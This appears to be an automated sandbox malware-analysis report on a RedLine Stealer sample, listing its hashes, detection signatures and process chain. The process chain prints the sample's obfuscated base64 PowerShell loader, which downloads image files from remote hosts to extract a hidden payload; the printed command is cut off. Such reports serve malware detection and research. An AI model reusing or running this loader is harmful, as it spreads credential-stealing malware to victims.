Windows
Analysis Report
00wVZ1NU5b.exe
Overview
General Information
Sample name: | 00wVZ1NU5b.exerenamed because original name is a hash value |
Original sample name: | a11a8da90ad22616ca604476cb9f2749.exe |
Analysis ID: | 1604514 |
MD5: | a11a8da90ad22616ca604476cb9f2749 |
SHA1: | a877ecdacdda321bfd73ecd8b18584725fd11cbb |
SHA256: | e52a775c02065896cacd99b1f7141c40aea77edc9fdbbfa69b900ce1c050d62c |
Tags: | exeRedLineStealeruser-abuse_ch |
Infos: | |
Detection
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: Powershell download and load assembly
Yara detected Powershell download and execute
Found suspicious powershell code related to unpacking or dynamic code loading
Joe Sandbox ML detected suspicious sample
Loading BitLocker PowerShell Module
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Binary contains a suspicious time stamp
Contains functionality to dynamically determine API calls
Contains functionality to shutdown / reboot the system
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found evasive API chain checking for process token information
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains executable resources (Code or Archives)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
00wVZ1NU5b.exe (PID: 6764 cmdline:
"C:\Users\ user\Deskt op\00wVZ1N U5b.exe" MD5: A11A8DA90AD22616CA604476CB9F2749) cmd.exe (PID: 4340 cmdline:
cmd /c lol .vbs MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) conhost.exe (PID: 5376 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) wscript.exe (PID: 2328 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Loc al\Temp\IX P000.TMP\l ol.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) powershell.exe (PID: 5936 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "$dosigo = 'WwBO@GU@ d@@u@FM@ZQ By@HY@aQBj @GU@U@Bv@G k@bgB0@E0@ YQBu@GE@Zw Bl@HI@XQ@6 @Do@UwBl@G M@dQBy@Gk@ d@B5@F@@cg Bv@HQ@bwBj @G8@b@@g@D 0@I@Bb@E4@ ZQB0@C4@Uw Bl@GM@dQBy @Gk@d@B5@F @@cgBv@HQ@ bwBj@G8@b@ BU@Hk@c@Bl @F0@Og@6@F Q@b@Bz@DE@ Mg@N@@o@I@ @g@C@@I@@g @C@@I@@g@C @@I@@g@C@@ ZgB1@G4@Yw B0@Gk@bwBu @C@@R@Bv@H c@bgBs@G8@ YQBk@EQ@YQ B0@GE@RgBy @G8@bQBM@G k@bgBr@HM@ I@B7@C@@c@ Bh@HI@YQBt @C@@K@Bb@H M@d@By@Gk@ bgBn@Fs@XQ Bd@CQ@b@Bp @G4@awBz@C k@I@@N@@o@ I@@g@C@@I@ @g@C@@I@@g @C@@I@@g@C @@J@B3@GU@ YgBD@Gw@aQ Bl@G4@d@@g @D0@I@BO@G U@dw@t@E8@ YgBq@GU@Yw B0@C@@UwB5 @HM@d@Bl@G 0@LgBO@GU@ d@@u@Fc@ZQ Bi@EM@b@Bp @GU@bgB0@D s@I@@N@@o@ I@@g@C@@I@ @g@C@@I@@g @C@@I@@g@C @@J@Bz@Gg@ dQBm@GY@b@ Bl@GQ@T@Bp @G4@awBz@C @@PQ@g@Ec@ ZQB0@C0@Ug Bh@G4@Z@Bv @G0@I@@t@E k@bgBw@HU@ d@BP@GI@ag Bl@GM@d@@g @CQ@b@Bp@G 4@awBz@C@@ LQBD@G8@dQ Bu@HQ@I@@k @Gw@aQBu@G s@cw@u@Ew@ ZQBu@Gc@d@ Bo@Ds@I@@N @@o@I@@g@C @@I@@g@C@@ I@@g@C@@I@ @g@C@@ZgBv @HI@ZQBh@G M@a@@g@Cg@ J@Bs@Gk@bg Br@C@@aQBu @C@@J@Bz@G g@dQBm@GY@ b@Bl@GQ@T@ Bp@G4@awBz @Ck@I@B7@C @@d@By@Hk@ I@B7@C@@cg Bl@HQ@dQBy @G4@I@@k@H c@ZQBi@EM@ b@Bp@GU@bg B0@C4@R@Bv @Hc@bgBs@G 8@YQBk@EQ@ YQB0@GE@K@ @k@Gw@aQBu @Gs@KQ@g@H 0@I@Bj@GE@ d@Bj@Gg@I@ B7@C@@YwBv @G4@d@Bp@G 4@dQBl@C@@ fQ@g@H0@Ow @g@@0@Cg@g @C@@I@@g@C @@I@@g@C@@ I@@g@C@@I@ By@GU@d@B1 @HI@bg@g@C Q@bgB1@Gw@ b@@g@H0@Ow @g@@0@Cg@g @C@@I@@g@C @@I@@g@C@@ I@@g@C@@I@ @k@Gw@aQBu @Gs@cw@g@D 0@I@B@@Cg@ JwBo@HQ@d@ Bw@HM@Og@v @C8@YgBp@H Q@YgB1@GM@ awBl@HQ@Lg Bv@HI@Zw@v @GQ@ZgBn@G g@Z@@v@GY@ ZwBk@C8@Z@ Bv@Hc@bgBs @G8@YQBk@H M@LwB0@GU@ cwB0@C4@ag Bw@Gc@Pw@x @DM@Nw@x@D E@Mw@n@Cw@ I@@n@Gg@d@ @z@DU@LwBu @GE@bgBv@C 8@cgBl@GY@ cw@v@Gg@ZQ Bh@GQ@cw@v @G0@YQBp@G 4@LwBu@GU@ dwBf@Gk@bQ Bn@DE@Mg@z @C4@agBw@G c@Jw@p@Ds@ DQ@K@C@@I@ @g@C@@I@@g @C@@I@@g@C @@I@@g@C@@ J@Bp@G0@YQ Bn@GU@QgB5 @HQ@ZQBz@C @@PQ@g@EQ@ bwB3@G4@b@ Bv@GE@Z@BE @GE@d@Bh@E Y@cgBv@G0@ T@Bp@G4@aw Bz@C@@J@Bs @Gk@bgBr@H M@Ow@N@@o@ I@@g@C@@I@ @g@C@@I@@g @C@@I@@g@C @@I@Bp@GY@ I@@o@CQ@aQ Bt@GE@ZwBl @EI@eQB0@G U@cw@g@C0@ bgBl@C@@J@ Bu@HU@b@Bs @Ck@I@B7@C @@J@Bp@G0@ YQBn@GU@V@ Bl@Hg@d@@g @D0@I@Bb@F M@eQBz@HQ@ ZQBt@C4@V@ Bl@Hg@d@@u @EU@bgBj@G 8@Z@Bp@G4@ ZwBd@Do@Og BV@FQ@Rg@4 @C4@RwBl@H Q@UwB0@HI@ aQBu@Gc@K@ @k@Gk@bQBh @Gc@ZQBC@H k@d@Bl@HM@ KQ@7@@0@Cg @g@C@@I@@g @C@@I@@g@C @@I@@g@C@@ I@@g@CQ@cw B0@GE@cgB0 @EY@b@Bh@G c@I@@9@C@@ Jw@8@Dw@Qg BB@FM@RQ@2 @DQ@XwBT@F Q@QQBS@FQ@ Pg@+@Cc@Ow @g@CQ@ZQBu @GQ@RgBs@G E@Zw@g@D0@ I@@n@Dw@P@ BC@EE@UwBF @DY@N@Bf@E U@TgBE@D4@ Pg@n@Ds@I@ @k@HM@d@Bh @HI@d@BJ@G 4@Z@Bl@Hg@ I@@9@C@@J@ Bp@G0@YQBn @GU@V@Bl@H g@d@@u@Ek@ bgBk@GU@e@ BP@GY@K@@k @HM@d@Bh@H I@d@BG@Gw@ YQBn@Ck@Ow @g@@0@Cg@g @C@@I@@g@C @@I@@g@C@@ I@@g@C@@I@ @k@GU@bgBk @Ek@bgBk@G U@e@@g@D0@ I@@k@Gk@bQ